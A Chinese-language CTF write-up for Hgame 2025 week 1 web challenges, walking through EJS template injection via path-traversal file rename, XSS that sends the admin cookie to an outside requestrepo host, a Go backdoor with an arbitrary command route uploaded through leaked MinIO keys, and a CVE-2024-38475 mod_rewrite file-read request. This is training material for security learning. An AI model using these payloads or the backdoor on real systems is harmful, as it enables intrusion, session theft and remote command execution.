Hgame2025 week1 Web WP

Level 24 Pacman

image-20250204110831754

base64解密结果:

1
haeu4epca_4trgm{_r_amnmse}

一眼栅栏密码。

image-20250204110912289

hgame{u_4re_pacman_m4ster}

Level 47 BandBomb

1
app.use('/static', express.static(path.join(__dirname, 'public')));

这里的__dirname是app,这里是把/app/public目录暴露为静态路由。在/rename路由可以重命名文件,且能目录穿越。

image-20250204112609036

这里访问/static/3.txt就能访问到我们上传的文件。

注意这几段代码:

1
2
3
4
5
6
7
8
9
10
11
app.set('view engine', 'ejs');

app.get('/', (req, res) => {
………………
fs.readdir(uploadsDir, (err, files) => {
if (err) {
return res.status(500).render('mortis', { files: [] });
}
res.render('mortis', { files: files });
});
});

这里使用ejs来渲染模版,模版默认是保存在/app/views/目录下的,这里使用的模版文件名是mortis.ejs,我们能上传任意文件,那么就能上传一个恶意模版文件,然后覆盖mortis.ejs,来rce。

evil.ejs:

1
<% global.process.mainModule.require('child_process').execSync('env > ./public/env.txt').toString() %>

上传成功后,改名字:

1
{"oldName":"evil.ejs","newName":"../views/mortis.ejs"}

然后访问根目录触发rce,然后去访问/static/env.txt

image-20250204135234482

hgame{av3_MuJlc@_H45_6ROkEN_up_buT-w3_H@V3_um1T4k145}

Level 69 MysteryMessageBoard

image-20250204121712829

shallot/888888登录进来

是个留言板,很明显的XSS,还有个admin路由,访问一下admin就会来访问我们的留言。

1
<script>document.location='http://rp1hua27.requestrepo.com?cookie='+document.cookie</script>

把admin的cookie带出来。

但是admin那边好像不出网。只能让bot把cookie写到留言板里。

1
2
3
4
5
6
<script>
var xhr = new XMLHttpRequest();
xhr.open("POST", "http://127.0.0.1:8888/", true);
xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
xhr.send("comment="%2bdocument.cookie);
</script>

image-20250204124739624

拿到admin的cookie:

1
MTczODY0NDQ0MXxEWDhFQVFMX2dBQUJFQUVRQUFBbl80QUFBUVp6ZEhKcGJtY01DZ0FJZFhObGNtNWhiV1VHYzNSeWFXNW5EQWNBQldGa2JXbHV83HajkMlhB21srwURtWa_U4L3G8sr6OyP9-1AfQ3J7DA=

然后去访问flag路由,拿到flag

image-20250204125133559

hgame{W0w_y0u_5r4_9o0d_4t_xss}

Level 25 双面人派对

题目给了两个环境,第一个环境暂时访问不了,访问第二个,可以下载一个main文件。请re手逆向分析一下,得到以下内容:

d1ca8235e7bfe29268a51591fd6e4b02

1
2
access_key:minio_admin
secret_key:JPSQ4NOBvh2/W7hzdLyRYLDm0wNRMG48BL09yOKGpHs=

同时得知系统是MinIO,要连接它,需要下载专门的程序。Minio Client

下载:https://dl.min.io/client/mc/release/

使用:https://www.cnblogs.com/panw/p/16801534.html

添加云储存服务:

1
mc config host add minio http://node2.hgame.vidar.club:31314 minio_admin JPSQ4NOBvh2/W7hzdLyRYLDm0wNRMG48BL09yOKGpHs= --api s3v4

查看储存内容:

1
2
3
4
mc ls minio

[2025-01-17 22:11:05 CST] 0B hints/
[2025-01-17 22:11:09 CST] 0B prodbucket/

发现有hints文件夹,进去看看:

1
2
3
mc ls minio/hints

[2025-01-17 22:11:05 CST] 8.2KiB STANDARD src.zip

是源码,把它下载下来:

1
2
3
mc cp minio/hints/src.zip ./src.zip

...314/hints/src.zip: 8.24 KiB / 8.24 KiB [============================================================] 11.75 KiB/s 0s

看看源码:主要这里

1
2
3
4
5
6
7
8
import (
"level25/fetch"

"level25/conf"

"github.com/gin-gonic/gin"
"github.com/jpillora/overseer"
)

这里引用了overseer,而说明程序是热加载的,文件变更会自动重启。我们只需要重写一个main.go,加一个命令执行路由,update上去,就可以rce了。

修改后的main.go

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
package main

import (
"fmt"
"level25/fetch"
"level25/conf"
"github.com/gin-gonic/gin"
"github.com/jpillora/overseer"
"os/exec"
)

func main() {
fetcher := &fetch.MinioFetcher{
Bucket: conf.MinioBucket,
Key: conf.MinioKey,
Endpoint: conf.MinioEndpoint,
AccessKey: conf.MinioAccessKey,
SecretKey: conf.MinioSecretKey,
}
overseer.Run(overseer.Config{
Program: program,
Fetcher: fetcher,
})
}

func program(state overseer.State) {
g := gin.Default()

// 添加一个新路由 /cmd
g.GET("/cmd", func(c *gin.Context) {
cmdParam := c.DefaultQuery("cmd", "") // 获取查询参数 "cmd"
if cmdParam == "" {
c.JSON(400, gin.H{"error": "cmd parameter is required"})
return
}

// 执行命令并获取输出
cmd := exec.Command("sh", "-c", cmdParam) // 使用 sh 执行命令
output, err := cmd.CombinedOutput() // 获取标准输出和标准错误
if err != nil {
c.JSON(500, gin.H{"error": fmt.Sprintf("Command execution failed: %v", err)})
return
}

// 返回命令的输出
c.JSON(200, gin.H{"cmd": cmdParam, "output": string(output)})
})
g.StaticFS("/static", gin.Dir(".", true))
g.Run(":8080")
}

然后运行

1
go build -o update

生成一个名为update的二进制文件,然后上传上去覆盖update

1
mc cp ./update minio/prodbucket/update

稍微等一会,到web服务里就可以执行命令了。

image-20250204203145958

flag{y0u-S4id_r1gHT-BuT_You-ShouLD_pl4y_G3NsH1n-iMpact1}

Level 38475 角落

有robots.txt,给了一个/app.conf

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# Include by httpd.conf
<Directory "/usr/local/apache2/app">
Options Indexes
AllowOverride None
Require all granted
</Directory>

<Files "/usr/local/apache2/app/app.py">
Order Allow,Deny
Deny from all
</Files>

RewriteEngine On
RewriteCond "%{HTTP_USER_AGENT}" "^L1nk/"
RewriteRule "^/admin/(.*)$" "/$1.html?secret=todo"

ProxyPass "/app/" "http://127.0.0.1:5000/"

重写规则 RewriteEngine On 配置块:

  • RewriteCond "%{HTTP_USER_AGENT}" "^L1nk/": 如果用户代理(即浏览器或客户端标识)包含 L1nk/ 字符串,则执行以下重写规则。
  • RewriteRule "^/admin/(.\*)$" "/$1.html?secret=todo": 如果请求路径以 /admin/ 开头,那么会将请求重定向到对应的 HTML 文件,并附加 ?secret=todo 查询参数。

如果我满足以上匹配规则,我访问/admin/xxx时候,Apache 会尝试在文件系统中查找 /xxx.html 文件。比如:访问 /admin/etc/xxx 返回 403,访问 /admin/et/xxx 返回 404,访问 /admin/bin/xxx 返回 403。

Apache 的文档根目录(DocumentRoot)通常是 /usr/local/apache2/htdocs 或类似路径。访问/admin/usr/local/apache2/htdocs/index,可以得到index.html的内容

https://www.tenablecloud.cn/plugins/nessus/201198

2.4.59 及更早版本的 Apache HTTP Server 中的 mod_rewrite 存在输出转义不当问题,导致攻击者可以将 URL 映射到允许服务器提供服务但不能通过任何 URL 有意/直接访问的文件系统位置,从而导致代码执行或源代码泄露。
服务器环境中使用向后引用或变量作为替换的第一段的替换会受到影响。一些不安全的 RewiteRules 会因此更改而中断,并且在确保适当限制替换后,可使用重写标记 UnsafePrefixStat 选择重新加入。(CVE-2024-38475)

https://www.aqtd.com/nd.jsp?id=6874

读源码的包:

1
2
GET http://node2.hgame.vidar.club:30796/admin/usr/local/apache2/app/app.py%3f HTTP/1.1
User-Agent: L1nk/

只需要在最后加一个%3f即可,这会把app.py后面的东西变成查询语句。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
from flask import Flask, request, render_template, render_template_string, redirect
import os
import templates

app = Flask(__name__)
pwd = os.path.dirname(__file__)
show_msg = templates.show_msg


def readmsg():
filename = pwd + "/tmp/message.txt"
if os.path.exists(filename):
f = open(filename, 'r')
message = f.read()
f.close()
return message
else:
return 'No message now.'


@app.route('/index', methods=['GET'])
def index():
status = request.args.get('status')
if status is None:
status = ''
return render_template("index.html", status=status)


@app.route('/send', methods=['POST'])
def write_message():
filename = pwd + "/tmp/message.txt"
message = request.form['message']

f = open(filename, 'w')
f.write(message)
f.close()

return redirect('index?status=Send successfully!!')

@app.route('/read', methods=['GET'])
def read_message():
if "{" not in readmsg():
show = show_msg.replace("{{message}}", readmsg())
return render_template_string(show)
return 'waf!!'


if __name__ == '__main__':
app.run(host = '0.0.0.0', port = 5000)

这里是/send路由写东西,然后/read路由来渲染,但是有个readmsg函数会检查里面是否有{,SSTI缺了{是做不了的,写文件读文件可以用条件竞争来做。

一个rce包:

image-20250204154955410

一个正常包:

image-20250204155014186

一个执行包:

image-20250204155027942

三个包同时发。

image-20250204155052151

hgame{y0U_Find-the_kEy-t0_rrR4C3_oUuUUt20ca097}


Hgame2025 week1 Web WP
http://example.com/2025/02/03/Hgame-2025-week1/
作者
Infernity
发布于
2025年2月3日
许可协议